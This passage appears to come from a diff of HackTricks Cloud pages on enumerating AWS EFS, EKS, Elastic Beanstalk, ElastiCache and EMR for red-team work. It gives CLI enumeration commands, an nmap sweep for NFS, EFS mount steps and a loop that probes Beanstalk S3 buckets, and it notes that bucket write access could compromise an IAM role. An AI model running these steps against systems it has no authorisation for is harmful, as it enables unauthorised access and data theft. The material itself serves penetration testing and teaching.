[aws-ecs-privesc.md](../aws-privilege-escalation/aws-ecs-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-ecs-post-exploitation.md" %}
[aws-ecs-post-exploitation.md](../aws-post-exploitation/aws-ecs-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-ecs-persistence.md" %}
[aws-ecs-persistence.md](../aws-persistence/aws-ecs-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,174 @@
# AWS - EFS Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## EFS
### Basic Information
Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms.
By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**.
### Network Access
An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, its needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**.
Without this, you **won't be able to contact the NFS service**.
For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount)
### Enumeration
```bash
# Get filesystems and access policies (if any)
aws efs describe-file-systems
aws efs describe-file-system-policy --file-system-id <id>
# Get subnetworks and IP addresses where you can find the file system
aws efs describe-mount-targets --file-system-id <id>
aws efs describe-mount-target-security-groups --mount-target-id <id>
aws ec2 describe-security-groups --group-ids <sg_id>
# Get other access points
aws efs describe-access-points
# Get replication configurations
aws efs describe-replication-configurations
# Search for NFS in EC2 networks
sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure
```
{% hint style="danger" %}
It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**.
{% endhint %}
### Mount EFS
{% code overflow="wrap" %}
```bash
sudo mkdir /efs
## Mount found
sudo apt install nfs-common
sudo mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport <IP>:/ /efs
## Mount with efs type
## You need to have installed the package amazon-efs-utils
sudo yum install amazon-efs-utils # If centos
sudo apt-get install amazon-efs-utils # If ubuntu
sudo mount -t efs <file-system-id/EFS DNS name>:/ /efs/
```
{% endcode %}
### IAM Access
By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\
For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**:
```json
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797",
"Statement": [
{
"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "",
"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018",
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
```
Or this will **prevent anonymous access**:
<figure><img src="../../../.gitbook/assets/image (278).png" alt=""><figcaption></figcaption></figure>
Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command:
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
# To use a different pforile from ~/.aws/credentials
# You can use: -o tls,iam,awsprofile=namedprofile
```
### Access Points
**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets.
When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data.
**You can mount the File System from an access point with something like:**
```bash
# Use IAM if you need to use iam permissions
sudo mount -t efs -o tls,[iam],accesspoint=<access-point-id> \
<file-system-id/EFS DNS> /efs/
```
{% hint style="warning" %}
Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it.
{% endhint %}
Access points can be used for the following purposes:
* **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions.
* **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification.
* **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications.
## Privesc
{% content-ref url="../aws-privilege-escalation/aws-efs-privesc.md" %}
[aws-efs-privesc.md](../aws-privilege-escalation/aws-efs-privesc.md)
{% endcontent-ref %}
## Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-efs-post-exploitation.md" %}
[aws-efs-post-exploitation.md](../aws-post-exploitation/aws-efs-post-exploitation.md)
{% endcontent-ref %}
## Persistence
{% content-ref url="../aws-persistence/aws-efs-persistence.md" %}
[aws-efs-persistence.md](../aws-persistence/aws-efs-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,72 @@
# AWS - EKS Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## EKS
Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS.
Key aspects of Amazon EKS include:
1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates.
2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security.
3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design.
4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment.
#### Enumeration
```bash
aws eks list-clusters
aws eks describe-cluster --name <cluster_name>
# Check for endpointPublicAccess and publicAccessCidrs
aws eks list-fargate-profiles --cluster-name <cluster_name>
aws eks describe-fargate-profile --cluster-name <cluster_name> --fargate-profile-name <prof_name>
aws eks list-identity-provider-configs --cluster-name <cluster_name>
aws eks describe-identity-provider-config --cluster-name <cluster_name> --identity-provider-config <p_config>
aws eks list-nodegroups --cluster-name <c_name>
aws eks describe-nodegroup --cluster-name <c_name> --nodegroup-name <n_name>
aws eks list-updates --name <name>
aws eks describe-update --name <name> --update-id <id>
```
#### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-eks-post-exploitation.md" %}
[aws-eks-post-exploitation.md](../aws-post-exploitation/aws-eks-post-exploitation.md)
{% endcontent-ref %}
## References
* [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,142 @@
# AWS - Elastic Beanstalk Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Elastic Beanstalk
Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS.
Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code.
The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2:
{% content-ref url="aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
{% endcontent-ref %}
Moreover, if Docker is used, its possible to use **ECS**.
{% content-ref url="aws-eks-enum.md" %}
[aws-eks-enum.md](aws-eks-enum.md)
{% endcontent-ref %}
### Application & Environments
In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process.
#### Application
* An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity.
* When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources.
* You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments.
#### Environment
* An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration.
* **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production.
* When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings.
### 2 types of Environments
1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability.
2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes.
### Security
When creating an App in Beanstalk there are 3 very important security options to choose:
* **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app
* **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**)
* The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier).
* **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role.
* This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)
By default **metadata version 1 is disabled**:
<figure><img src="../../../.gitbook/assets/image (103).png" alt=""><figcaption></figcaption></figure>
### Exposure
Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk-<region>-<acc-id>`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**.
The **URL** of the created webpage is **`http://<webapp-name>-env.<random>.<region>.elasticbeanstalk.com/`**
{% hint style="warning" %}
If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it
if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed.
{% endhint %}
### Enumeration
{% code overflow="wrap" %}
```bash
# Find S3 bucket
ACCOUNT_NUMBER=<account_number>
for r in us-east-1 us-east-2 us-west-1 us-west-2 ap-south-1 ap-south-2 ap-northeast-1 ap-northeast-2 ap-northeast-3 ap-southeast-1 ap-southeast-2 ap-southeast-3 ca-central-1 eu-central-1 eu-central-2 eu-west-1 eu-west-2 eu-west-3 eu-north-1 sa-east-1 af-south-1 ap-east-1 eu-south-1 eu-south-2 me-south-1 me-central-1; do aws s3 ls elasticbeanstalk-$r-$ACCOUNT_NUMBER 2>/dev/null && echo "Found in: elasticbeanstalk-$r-$ACCOUNT_NUMBER"; done
# Get apps and URLs
aws elasticbeanstalk describe-applications # List apps
aws elasticbeanstalk describe-application-versions # Get apps & bucket name with source code
aws elasticbeanstalk describe-environments # List envs
aws elasticbeanstalk describe-environments | grep -E "EndpointURL|CNAME"
aws elasticbeanstalk describe-configuration-settings --application-name <app_name> --environment-name <env_name>
aws elasticbeanstalk describe-environment-resources --environment-name <env_name> # Get env info such as SQS used queues
aws elasticbeanstalk describe-instances-health --environment-name <env_name> # Get the instances of an environment
# Get events
aws elasticbeanstalk describe-events
```
{% endcode %}
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md" %}
[aws-elastic-beanstalk-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-elastic-beanstalk-persistence.md" %}
[aws-elastic-beanstalk-persistence.md](../aws-persistence/aws-elastic-beanstalk-persistence.md)
{% endcontent-ref %}
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md" %}
[aws-elastic-beanstalk-privesc.md](../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md" %}
[aws-elastic-beanstalk-post-exploitation.md](../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,71 @@
# AWS - ElastiCache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## ElastiCache
AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**.
### Enumeration
```bash
# ElastiCache clusters
## Check the SecurityGroups to later check who can access
## In Redis clusters: Check AuthTokenEnabled to see if you need password
## In memcache clusters: You can find the URL to connect
aws elasticache describe-cache-clusters
# List all ElastiCache replication groups
## Find here the accesible URLs for Redis clusters
aws elasticache describe-replication-groups
#List all ElastiCache parameter groups
aws elasticache describe-cache-parameter-groups
#List all ElastiCache security groups
## If this gives an error it's because it's using SGs from EC2
aws elasticache describe-cache-security-groups
#List all ElastiCache subnet groups
aws elasticache describe-cache-subnet-groups
# Get snapshots
aws elasticache describe-snapshots
# Get users and groups
aws elasticache describe-user-groups
aws elasticache describe-users
# List ElastiCache events
aws elasticache describe-events
```
### Privesc (TODO)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,86 @@
# AWS - EMR Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## EMR
AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark.
Key characteristics include:
* **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features:
* **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider.
* **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop:
* Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer.
* HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm.
* **Encryption in Transit**: Focuses on securing data during transfer. Options include:
* **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider:
* **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket.
* **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts.
Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version:
* **Hadoop**:
* Might reduce encrypted shuffle using TLS.
* Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption.
* **Presto** (EMR version 5.6.0+):
* Internal communication between Presto nodes is secured using SSL and TLS.
* **Tez Shuffle Handler**:
* Utilizes TLS for encryption.
* **Spark**:
* Employs TLS for the Akka protocol.
* Uses Simple Authentication Security Layer and 3DES for Block Transfer Service.
* External shuffle service is secured with the Simple Authentication Security Layer.
These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases.
#### Enumeration
```bash
aws emr list-clusters
aws emr describe-cluster --cluster-id <id>
aws emr list-instances --cluster-id <id>
aws emr list-instance-fleets --cluster-id <id>
aws emr list-steps --cluster-id <id>
aws emr list-notebook-executions
aws emr list-security-configurations
aws emr list-studios #Get studio URLs
```
#### Privesc
{% content-ref url="../aws-privilege-escalation/aws-emr-privesc.md" %}
[aws-emr-privesc.md](../aws-privilege-escalation/aws-emr-privesc.md)
{% endcontent-ref %}
## References
* [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,440 @@
# AWS - IAM, Identity Center & SSO Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
